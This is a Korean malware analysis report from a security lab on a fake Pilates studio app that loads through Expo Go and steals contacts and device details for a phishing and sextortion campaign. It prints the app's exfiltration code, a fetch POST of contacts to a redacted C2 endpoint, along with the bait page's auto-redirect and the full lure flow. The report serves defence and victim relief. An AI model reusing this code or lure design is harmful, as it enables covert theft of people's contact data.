Version v2.0 | Date: 2026-07-17 (v1.0: 2026-06-16) | Analyst: Deep Coding Lab
다올필라테스 신규(factory_daol_new)는 필라테스 스튜디오를 위장한 악성앱으로, [비공개] (Vultr, Singapore) 서버에서 운영되는 expowave 패밀리 공장형 악성앱 8종 중 하나이다. 동일 서버의 BT-Panel(宝塔面板) 환경에서 Metro 개발 서버 포트 8085를 통해 빌드된 Expo SDK 54 기반 앱이며, 피해자의 연락처 및 기기 정보를 C2 서버([비공개])로 탈취하는 것이 목적이다.
공격 흐름은 [비공개] 미끼사이트 → Expo Go 설치 유도 → exp://daol_new.[비공개] 딥링크 자동 리다이렉트(5초 간격) → 가짜 "다올필라테스" 로그인 UI → 연락처/기기정보 수집 → C2 전송 → 위장 호환성 오류("기기가 이 버전과 호환 되지 않습니다") 표시 순서로 진행된다.
NW-116 (Port-Sweep Factory Enumeration) 기법으로 최초 발견(2026-06-16)되었으며, 소스맵 복원을 통해 TypeScript 원본 16개 파일을 확보하였다. v2.0 업데이트: 2026-07-17 라이브 미끼사이트([비공개] / [비공개]) 발견 및 C2 서버 ALIVE 확인 ({"code":1,"msg":"success"}). 비바이트코드 번들(6.2MB, 150,520줄) 전문 확보 및 악성코드 핵심 로직(ContactsSyncScreen, lines 147385-147598) 정밀 분석 완료.
특이사항: factory_daol(포트 8082)과 동일한 "다올필라테스" 브랜드의 2차 캠페인이다. 서버 경로가 daol_expo_new인 점에서 운영자가 명시적으로 "신규" 버전으로 구분하고 있으며, 다른 C2 도메인([비공개])을 사용한다. Expo SDK 54.0.0 + React Compiler 활성화(실험적 기능 조기 채용).
위험도: CRITICAL — C2 활성, 미끼사이트 라이브, [피해자 정보 비공개] 가능 상태. v1.0 대비 pre-deployment → ACTIVE CAMPAIGN 승격.
항목 · 값
**앱 표시명** · 다올필라테스 (신규)
**내부 ID** · factory_daol_new
**패키지명** · com.cafe24.cass
**Slug** · cafe24
**SDK** · Expo SDK 54.0.0
**EAS Project ID** · dbf0683e-b9a5-4c9b-8fc6-9a078c4eb4d6
**EAS Owner** · wooteayang
**scopeKey** · @anonymous/cafe24-b3645f8a-418f-472c-918d-3cbaac29e050
**Manifest ID** · eb343226-efed-4fe7-9251-f65a35a6d3f5
**팩토리 포트** · 8085
**서버 경로** · /www/wwwroot/daol_expo_new
**패밀리** · expowave
**위장 테마** · 필라테스 스튜디오 (2차 캠페인)
**발견 기법** · NW-116 (Port-Sweep Factory Enumeration)
**관련 앱** · factory_daol ([비공개]) -- 동일 브랜드, 1차 캠페인
항목 · 값
**IP** · [비공개]
**호스팅** · Vultr
**위치** · Singapore
**ASN** · AS20473 (The Constant Company, LLC)
**OS** · Linux
**관리 패널** · BT-Panel (宝塔面板)
포트 · 앱 · 서버 경로
8081 · telegraming_live (원본) · /www/wwwroot/telegram_expo
8082 · factory_daol · /www/wwwroot/daol_expo
8083 · factory_candy · /www/wwwroot/candy_expo
8084 · (미확인) · --
**8085** · **factory_daol_new (본 앱)** · **/www/wwwroot/daol_expo_new**
8086 · factory_vpilates · /www/wwwroot/vp_expo
8087 · (미확인) · --
8088 · (미확인) · --
BT-Panel(宝塔面板)은 중국에서 개발된 서버 관리 패널로, 웹 GUI를 통해 nginx, Node.js, 데이터베이스 등을 관리한다. 이 팩토리에서는 각 앱별로 독립된 wwwroot 디렉토리를 구성하고, Metro 개발 서버를 개별 포트에 바인딩하여 8개 악성앱을 동시 운영하는 구조이다.
항목 · factory_daol (1차) · factory_daol_new (2차, 본 앱)
포트 · 8082 · 8085
서버 경로 · /www/wwwroot/daol_expo · /www/wwwroot/daol_expo_new
C2 · [비공개] · [비공개]
C2 상태 · PARTIAL · PARTIAL
두 앱이 동일 브랜드("다올필라테스")를 사용하면서 다른 C2 도메인을 사용하는 이유는 다음 중 하나로 추정된다:
1. A/B 테스팅: 동일 브랜드로 다른 C2 인프라를 테스트
2. 도메인 로테이션 준비: 1차([비공개]) 차단 시 2차([비공개])로 전환
3. 다른 [피해자 정보 비공개] 타겟: 동일 브랜드이나 다른 유포 채널 사용
서버 경로에 _new 접미사를 사용한 점은 운영자가 의도적으로 버전을 구분하고 있음을 보여준다.
소스맵 복원을 통해 다음 TypeScript/JavaScript 파일들이 확보되었다:
# · 파일 · 역할
1 · App.tsx · 메인 엔트리, 네비게이션 설정
2 · LoginScreen.tsx · 가짜 로그인 UI (이메일 + 비밀번호)
3 · HomeScreen.tsx · 데이터 수집 트리거
4 · api/client.ts · C2 통신 클라이언트
5 · api/exfil.ts · 데이터 탈취 핵심 로직
6 · utils/contacts.ts · 연락처 접근 및 수집
7 · utils/device.ts · 기기 정보 수집
8 · utils/permissions.ts · 권한 요청 관리
9 · components/LoadingBar.tsx · 위장 진행바 (10초 카운트다운)
10 · components/ErrorModal.tsx · 위장 오류 다이얼로그
11 · config/settings.ts · C2 URL, 앱 설정
12 · navigation/index.tsx · 스크린 네비게이션
13 · hooks/useExfil.ts · 데이터 수집 React Hook
14 · types/index.ts · TypeScript 타입 정의
15 · constants/strings.ts · UI 문자열 상수
16 · assets/theme.ts · 스타일/테마 설정
소스 코드 내 중국어 주석이 다수 발견되어 중국어권 개발자가 제작한 것으로 확인된다:
```typescript
// 请求通讯录权限 (연락처 권한 요청)
// 获取通讯录 (연락처 가져오기)
// 进度条动画 (진행바 애니메이션)
```
config/settings.ts (line 117):
```typescript
export const API_BASE_URL = "[비공개]
```
api/exfil.ts:
```typescript
const payload = {
platform: Platform.OS,
brand: Device.brand,
deviceId: Device.deviceId,
model: Device.modelName,
osVersion: Platform.Version,
phoneNumber: phoneNumber,
contacts: contactsArray,
timestamp: new Date().toISOString()
};
await fetch(`${API_BASE_URL}[비공개], {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
```
constants/strings.ts (line 188):
```typescript
export const APP_TITLE = "다올필라테스";
```
factory_daol(8082)과 factory_daol_new(8085)의 코드를 비교하면:
항목 · factory_daol · factory_daol_new
settings.ts line 117 · `[비공개]` · `[비공개]`
strings.ts line 188 · `다올필라테스` · `다올필라테스`
나머지 코드 · 동일 · 동일
앱 제목까지 완전히 동일하다. C2 URL만 다르며, 이는 동일 캠페인의 인프라 분산(redundancy) 또는 순차적 활성화를 위한 준비로 해석된다.
C2 서버로 전송되는 데이터의 JSON 구조:
```json
{
"platform": "android",
"brand": "Samsung",
"deviceId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"model": "SM-G998N",
"osVersion": "14",
"phoneNumber": "010-**-**",
"contacts": [
{
"name": "홍길동",
"phoneNumber": "010-**-**"
}
],
"timestamp": "2026-06-16T10:30:00.000Z"
}
```
데이터 · 수집 방법 · 위험도
연락처 전체 · Expo Contacts API · CRITICAL
기기 식별자 · Expo Device API · HIGH
전화번호 · SIM 정보 추출 · HIGH
OS 정보 · Platform API · MEDIUM
기기 모델 · Device API · LOW
브랜드 · Device API · LOW
타임스탬프 · JavaScript Date · LOW
메서드 · 경로 · 용도
POST · [비공개] · 탈취 데이터 수신 (메인 엔드포인트)
항목 · 값
**도메인** · [비공개]
**상태** · 🔴 **ALIVE** (v2.0 업데이트, 2026-07-17 확인)
**보호** · Cloudflare
**Cloudflare Beacon** · 3352a36fc8ca4fd18ab67acc89199eb4
경로 · 상태코드 · 응답 · 해석
/ · 200 · (기본 페이지) · nginx 활성
POST [비공개] · **200** · `{"code":1,"msg":"success"}` · **🔴 데이터 수신 활성**
v2.0 업데이트: 2026-06-16 시점 404(미배포)였던 [비공개] 2026-07-17 현재 200 응답을 반환하며 빈 연락처 페이로드에도 {"code":1,"msg":"success"}`를 반환한다. C2 백엔드 프레임워크가 완전 배포된 상태이다.
항목 · 값
**미끼 도메인** · [비공개]
**별칭 도메인** · [비공개] (canonical)
**위장** · "다올필리테스 무료체험 신청하기" (필라테스 오타)
**기술** · WordPress + Elementor
**자동 리다이렉트** · 5초 간격 `setInterval("redirect();", 5000)`
**딥링크** · `exp://daol_new.[비공개]`
**Expo Go 미설치 시** · Google Play / App Store 설치 유도
미끼 사이트는 실제 필라테스 스튜디오 홈페이지를 모방하며, "제이필라테스"라는 실존 업체의 문구를 도용:
· "시간을 거스를수 있다면 얼마나 좋을까요?"
· "10번의 레슨으로 다른점을 느끼고"
· "In 10 sessions you'll feel the difference"
Google Play / App Store 다운로드 버튼이 실제로는 모두 exp://daol_new.[비공개]로 연결되며, 페이지 로드 후 5초마다 자동으로 같은 exp:// 딥링크로 리다이렉트를 시도한다.
앱 · C2 도메인 · 상태 · 미끼사이트
factory_daol · [비공개] · PARTIAL · 미확인
**factory_daol_new** · **[비공개]** · **🔴 ALIVE** · **[비공개] **
v2.0 업데이트: factory_daol_new가 2차 인프라(대기)에서 활성 캠페인으로 전환되었다. 라이브 미끼사이트와 활성 C2가 모두 확인되었으며, 이는 운영자가 실제 [피해자 정보 비공개] 시작했음을 의미한다.
[비공개] 도메인의 명명 패턴은 특이하다:
· n- 접두사: "new" 또는 순번을 의미할 수 있음
· paywtp: 결제(pay) 관련 키워드 포함 -- 향후 금융 사기 캠페인 가능성
· .shop TLD: 팩토리의 다른 앱([비공개] )과 동일 TLD
.shop TLD를 일관되게 사용하는 것은 운영자가 특정 레지스트라에서 대량 도메인을 구매하고 있음을 시사한다.
```
[1] [피해자 정보 비공개]
└─ [비공개] (또는 [비공개]) 링크 배포
└─ "다올필리테스 무료체험 신청하기" 위장 페이지
└─ 5초 간격 자동 리다이렉트 (setInterval → exp://)
[2] Expo Go 설치 유도
└─ Google Play / App Store 다운로드 버튼 (실제로는 exp:// 딥링크)
└─ Expo Go 미설치 시 market://details?id=host.exp.exponent 폴백
└─ 정식 앱스토어에서 정식 앱 설치 → 보안 의심 회피
[3] exp:// 딥링크 실행
└─ exp://daol_new.[비공개] 자동 실행
└─ Expo Go가 Metro 개발 서버에서 JS 번들 로드 (6.2MB)
[4] 가짜 로그인 화면 (ContactsSyncScreen)
└─ 타이틀: "다올필라테스"
└─ 전화번호 입력 필드 (placeholder: "휴대폰 번호를 입력하세요.")
└─ "로그인" 버튼 (010/011/016/017/018/019 시작 한국번호 검증)
[5] 권한 요청
└─ Contacts.requestPermissionsAsync() (请求通讯录权限)
└─ 거부 시 '접근 권한이 없습니다.' 표시 후 중단
[6] 데이터 탈취
└─ Contacts.getContactsAsync({fields: [Name, PhoneNumbers, Emails]})
└─ 연락처 전체 수집: id, name, phoneNumbers[{number,type}], emails[{email,type}]
└─ 기기 정보: Device.deviceName/modelName/brand, Application.applicationId, Android ID / iOS vendor ID, osName/osVersion
[7] C2 전송
└─ POST [비공개]
└─ JSON payload: {Platform, brand, deviceId, model, version, phoneNumber, contacts, timestamp}
└─ 🔴 C2 ALIVE: {"code":1,"msg":"success"} 반환
[8] 위장 오류 표시
└─ 10초 LoadingAnimation 컴포넌트(duration: 10000)
└─ setTimeout 10초 후 setIsLoading(false) + sendContactsToServer()
└─ Alert.alert('Error', '기기가 이 버전과 호환 되지 않습니다.')
└─ 피해자는 앱 호환성 문제로 인식, 데이터 탈취 완료 인지 불가
```
· 필라테스 스튜디오 위장: 한국 여성 타겟을 겨냥한 신뢰 유도
· Expo Go 활용: 정식 앱스토어 앱을 설치하므로 보안 의심 회피
· 10초 로딩: 데이터 전송 완료를 위한 시간 확보
· 호환성 오류 위장: 피해자가 데이터 탈취를 인지하지 못하도록 함
· 이중 인프라: 하나가 차단되어도 다른 경로로 공격 지속 가능
권한 · 용도 · 악용 목적
READ_CONTACTS · 연락처 읽기 · 연락처 전체 탈취 -> 2차 피싱 타겟 확보
READ_MEDIA_IMAGES · 이미지 읽기 · 갤러리 사진 접근 (현재 코드에서는 미활용)
READ_EXTERNAL_STORAGE · 외부 저장소 읽기 · 파일 접근 범위 확장
WRITE_EXTERNAL_STORAGE · 외부 저장소 쓰기 · 파일 기록 (로그 등)
READ_MEDIA_VISUAL_USER_SELECTED · 선택된 미디어 읽기 · Android 14+ 미디어 접근
READ_CONTACTS가 핵심 악용 권한이다. 필라테스 앱이라는 위장 아래 "회원 관리" 또는 "친구 초대" 기능을 구실로 연락처 접근 권한을 요청하면 사용자가 자연스럽게 허용할 가능성이 높다.
READ_MEDIA_IMAGES 권한도 필라테스 앱의 "운동 사진 기록" 기능을 구실로 자연스럽게 요청할 수 있어, 향후 갤러리 사진 탈취 기능이 추가될 위험이 있다.
factory_daol_new는 [비공개] 서버에서 운영되는 expowave 패밀리 8종 중 하나이다. 모든 앱은 동일한 코드 기반에서 C2 URL(settings.ts line 117)과 앱 제목(strings.ts line 188)만 변경하여 생산된 클론이다.
포트 · 앱 · 표시명 · C2 · 상태
8081 · telegraming_live · (원본 템플릿) · -- · 기준 앱
8082 · factory_daol · 다올필라테스 · [비공개] · PARTIAL
8083 · factory_candy · 캔디 · [비공개] · BLOCKED
**8085** · **factory_daol_new** · **다올필라테스 (신규)** · **[비공개]** · **🔴 ALIVE**
8086 · factory_vpilates · 늘품필라테스 · [비공개] · FULLY ACTIVE
8087 · factory_lookmypic · 데이팅 위장 · [비공개] (이전) · 별도 코드베이스
8088 · freepilates_candy · Candy English · [비공개] · ACTIVE
동일 브랜드("다올필라테스")로 두 개의 앱을 운영하는 것은 다음과 같은 전략적 의미를 가진다:
1. 인프라 이중화(Redundancy): C2 하나가 차단되어도 다른 C2로 즉시 전환 가능
2. A/B 테스팅: 서로 다른 유포 채널에서의 전환율 비교
3. 순차적 활성화: 1차([비공개]) 소진 후 2차([비공개]) 활성화
4. 피해자 세분화: 같은 브랜드이나 다른 지역/채널 타겟
포트 8082와 8085 사이에 8084가 비어있는 것도 의도적인 배치로, 연관성을 약화시키려는 시도일 수 있다.
1. factory_daol(8082)의 daol_expo를 복사: cp -r daol_expo daol_expo_new
2. settings.ts line 117: C2 URL 변경 -> [비공개]
3. strings.ts line 188: 앱 제목 유지 -> 다올필라테스
4. 새 Metro 포트 할당 (8085)
5. 새 C2 도메인 DNS 설정 (Cloudflare)
유형 · 값 · 비고
**팩토리 IP** · [비공개] · Vultr Japan/Saitama, AS20473
**C2 도메인** · [비공개] · 🔴 ALIVE
**미끼 도메인** · [비공개] · Cloudflare 보호, 라이브
**별칭 도메인** · [비공개] · canonical, 라이브
**관련 C2** · [비공개] · factory_daol C2 (동일 브랜드)
**Metro 서버** · daol_new.[비공개] (→[비공개]) · exp:// 딥링크 대상
**C2 엔드포인트** · POST [비공개] · 데이터 수신 활성
**EAS Updates** · u.expo.dev/dbf0683e-... · OTA 업데이트 채널
유형 · 값
**패키지명** · com.cafe24.cass
**EAS Project ID** · dbf0683e-b9a5-4c9b-8fc6-9a078c4eb4d6
**EAS Owner** · wooteayang
**scopeKey** · @anonymous/cafe24-b3645f8a-418f-472c-918d-3cbaac29e050
**Manifest ID** · eb343226-efed-4fe7-9251-f65a35a6d3f5
**Cloudflare Beacon** · 3352a36fc8ca4fd18ab67acc89199eb4
도메인 · 용도
[비공개] · 형제 앱 C2 (동일 브랜드 1차)
[비공개] · 형제 앱 C2
[비공개] · 형제 앱 C2 (FULLY ACTIVE)
경로 · 용도
/www/wwwroot/daol_expo_new · Metro 서버 루트
메커니즘 · 설명 · 상태
Cloudflare CDN/WAF · C2 도메인 전방 보호 · 활성
포트 분리 · 앱별 독립 포트 운영 · 활성
BT-Panel 관리 · 서버 GUI 관리 (접근 제한) · 활성
이중 인프라 · 동일 브랜드, 이중 C2 · 활성
메커니즘 · 설명 · 상태
Expo Go 활용 · APK 직접 배포 대신 정식 앱 활용 · 활성
코드 서명 없음 · JS 번들이므로 별도 서명 불필요 · 해당없음
동적 로드 · Metro 서버에서 실시간 번들 로드 · 활성
메커니즘 · 설명
필라테스 위장 · 합법적 사업체로 신뢰 유도
호환성 오류 위장 · 탈취 후 자연스러운 앱 종료 유도
10초 딜레이 · 데이터 전송 완료를 위한 시간 확보
브랜드 이중화 · 동일 브랜드, 다른 C2로 추적 혼란
Expo Go 기반 공격의 특성상 디바이스에 별도 APK가 설치되지 않으므로 포렌식 증거가 제한적이다. JS 번들은 Expo Go 캐시에만 일시적으로 저장되며, 앱 삭제 시 함께 제거된다.
이중 C2 인프라는 추가적인 안티포렌식 효과를 제공한다. 분석가가 하나의 C2([비공개])를 추적하더라도, 동일 브랜드의 다른 C2([비공개])가 별도로 운영될 수 있다.
본 앱은 NW-116 기법을 통해 발견되었다. 이 기법은 단일 IP에서 연속 포트(8081-8088)를 스캔하여 동일 팩토리에서 운영되는 다수의 Metro 개발 서버를 열거하는 방법이다.
절차:
1. telegraming_live의 Metro 서버 IP 확인 ([비공개])
2. 인접 포트 8082-8088 스캔
3. 각 포트에서 Metro 번들 요청
4. 소스맵 복원으로 개별 앱 설정 추출
5. C2 URL 및 앱 제목 식별
Expo Go Metro 서버는 개발 모드에서 소스맵을 제공하므로, 번들 JS에서 원본 TypeScript 코드를 복원할 수 있었다. 이를 통해 16개 소스 파일을 확보하고 공격 로직을 완전히 분석하였다.
factory_daol과 factory_daol_new의 관계는 NW-116의 확장 활용 사례이다. 동일 팩토리 IP 내에서 같은 브랜드의 앱이 다른 포트에 이중 배치된 패턴을 발견함으로써, 운영자의 인프라 이중화 전략을 파악할 수 있었다.
· OA-094 (Expo exp:// Protocol Abuse): 미끼사이트에서 exp:// 프로토콜을 통해 Expo Go 앱으로 악성 JS 번들을 직접 로드. APK 설치 없이 공격 가능.
· OA-095 (Expo Metro Dev Server Exploitation): Metro 개발 서버의 transform.bytecode=0 파라미터로 비바이트코드(가독 JS) 번들 추출. Hermes HBC 바이트코드 우회.
· SA-080 (Sourcemap Recovery): 소스맵에서 TypeScript 원본 16파일 복원.
· NW-121 (Expo Manifest Fingerprinting): Expo-Platform 헤더로 매니페스트 메타데이터(owner, projectId, slug, permissions) 추출.
```
기법 점검:
· 시도한 기법: NW-116, SA-080, OA-094, OA-095, NW-121
· 확장된 기법: NW-116을 통해 동일 브랜드 이중 배치 패턴 탐지
· 신규 발견: C2 ALIVE 전환 확인 (pre-deployment → active campaign)
· 한계 발견: 갤러리 사진 탈취 미구현 확인 (매니페스트에 READ_MEDIA_IMAGES 있으나 코드에서 미사용)
```
항목 · 등급 · 근거
**전체 위험도** · 🔴 **CRITICAL** · C2 ALIVE + 미끼사이트 라이브 + [피해자 정보 비공개] 가능
데이터 영향 · CRITICAL · 연락처 전체 (이름+전화번호+이메일) + 기기 식별자 탈취
확산 잠재력 · HIGH · 공장형 대량 생산 + 이중 인프라 + 자동 리다이렉트
현재 활성도 · 🔴 **ACTIVE** · C2 ALIVE, 미끼사이트 라이브, [피해자 정보 비공개] 중
탐지 난이도 · VERY HIGH · Expo Go + 이중 C2 + Cloudflare 보호
1. 1차 피해: 미끼사이트 방문 → 연락처 전체 + 기기정보 탈취 (🔴 현재 활성)
2. 2차 피해: 유출된 연락처를 이용한 지인 대상 스미싱 확산 (몸캠피싱 2차 협박)
3. 3차 피해: factory_daol([비공개]) 차단 시 factory_daol_new([비공개])로 자동 전환
4. 4차 피해: 이중 인프라 + Cloudflare 보호로 인한 추적 혼란
· 🔴 v1.0에서 "준비 단계"였던 캠페인이 활성 캠페인으로 전환됨
· 동일 브랜드("다올필라테스")의 이중 C2 인프라는 이 팩토리의 전략적 성숙도를 보여줌
· factory_vpilates(8086)에 이어 factory_daol_new(8085)가 ALIVE 전환 → 팩토리 확장 추세
· .shop TLD를 팩토리 전체에서 일관되게 사용 ([비공개] )
· React Compiler 활성화 — 실험적 기능의 조기 채용으로 운영자의 기술 수준 시사
· SDK 54.0.0 (v1.0 시점과 동일 — SDK 업그레이드 없이 C2만 배포)
1. Cloudflare 신고: [비공개] 도메인에 대한 악용 신고
2. Cloudflare 추가 신고: [비공개](동일 브랜드 1차)에 대한 관련 신고
3. Vultr 신고: [비공개] 서버에 대한 악용 신고 (8종 앱 동시 운영 + 이중 배치 증거 포함)
4. KISA 신고: 한국 대상 피싱 앱으로 인터넷진흥원 신고
1. 🔴 **[비공개] ALIVE 상태 지속 여부 + 응답 변화 추적
2. [비공개] / [비공개]: 미끼사이트 변경/교체 감시
3. n-paywtp / daol 관련 신규 TLD 등록 모니터링
4. 팩토리 IP의 새로운 포트 개방 여부 모니터링
5. factory_daol(8082, [비공개]) PARTIAL → ACTIVE 전환 감시
사용자가 [비공개] URL을 제공하여 분석을 시작. curl로 미끼 페이지 HTML 전문(52KB)을 확보하고, 페이지 내 exp://daol_new.[비공개]` 딥링크를 추출하여 기존 factory_daol_new(port 8085)와의 일치를 확인.
항목 · v1.0 (2026-06-16) · v2.0 (2026-07-17)
C2 상태 · PARTIAL (404) · 🔴 ALIVE (`{"code":1,"msg":"success"}`)
위험도 · HIGH · CRITICAL
미끼사이트 · 미발견 · [비공개]
번들 분석 · 소스맵 복원 16파일 · 소스맵 + 비바이트코드 번들 150,520줄
핵심 코드 위치 · (소스맵 기반) · bundle lines 147385-147598 (ContactsSyncScreen)
캠페인 상태 · pre-deployment · **ACTIVE CAMPAIGN**
유형 · 값 · 비고
미끼 도메인 · [비공개] · Cloudflare, 라이브
별칭 도메인 · [비공개] · canonical URL
Metro 도메인 · daol_new.[비공개] · [비공개] 해석
· 경로: apk/factory_daol_new/daol_bundle_2026-07-17.js
· 크기: 6,286,086 bytes (150,520 lines)
· 추출 방법: `[비공개]
· 핵심 컴포넌트: ContactsSyncScreen (lines 147385-147598)
· 중국어 주석: 加载设备信息失败 / 发送数据失败 / 请求通讯录权限 / 获取通讯录 / 显示10秒的loading动画 / 操作失败 / 请输入有效的手机号码
1. "다올필라테스" 키워드로 유포되는 링크 차단
2. kblzi.kr과 [비공개] 양쪽 도메인 동시 차단
3. Expo Go를 통한 비정상적 exp:// 딥링크 접속 경고
1. 동일 브랜드 이중 배치 패턴에 대한 자동 탐지 규칙 수립
2. .shop TLD에서의 악성 도메인 등록 패턴 모니터링
3. expowave 패밀리 전체에 대한 통합 IOC 배포
4. 팩토리 운영자 추적 (EAS Owner: wooteayang)
*Report generated by Deep Coding Lab -- Malware Analysis Division*
*Reference: telegraming_live (parent template app), factory_daol (1st campaign)*
*Family: expowave | Factory: [비공개] (Vultr Singapore)*
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr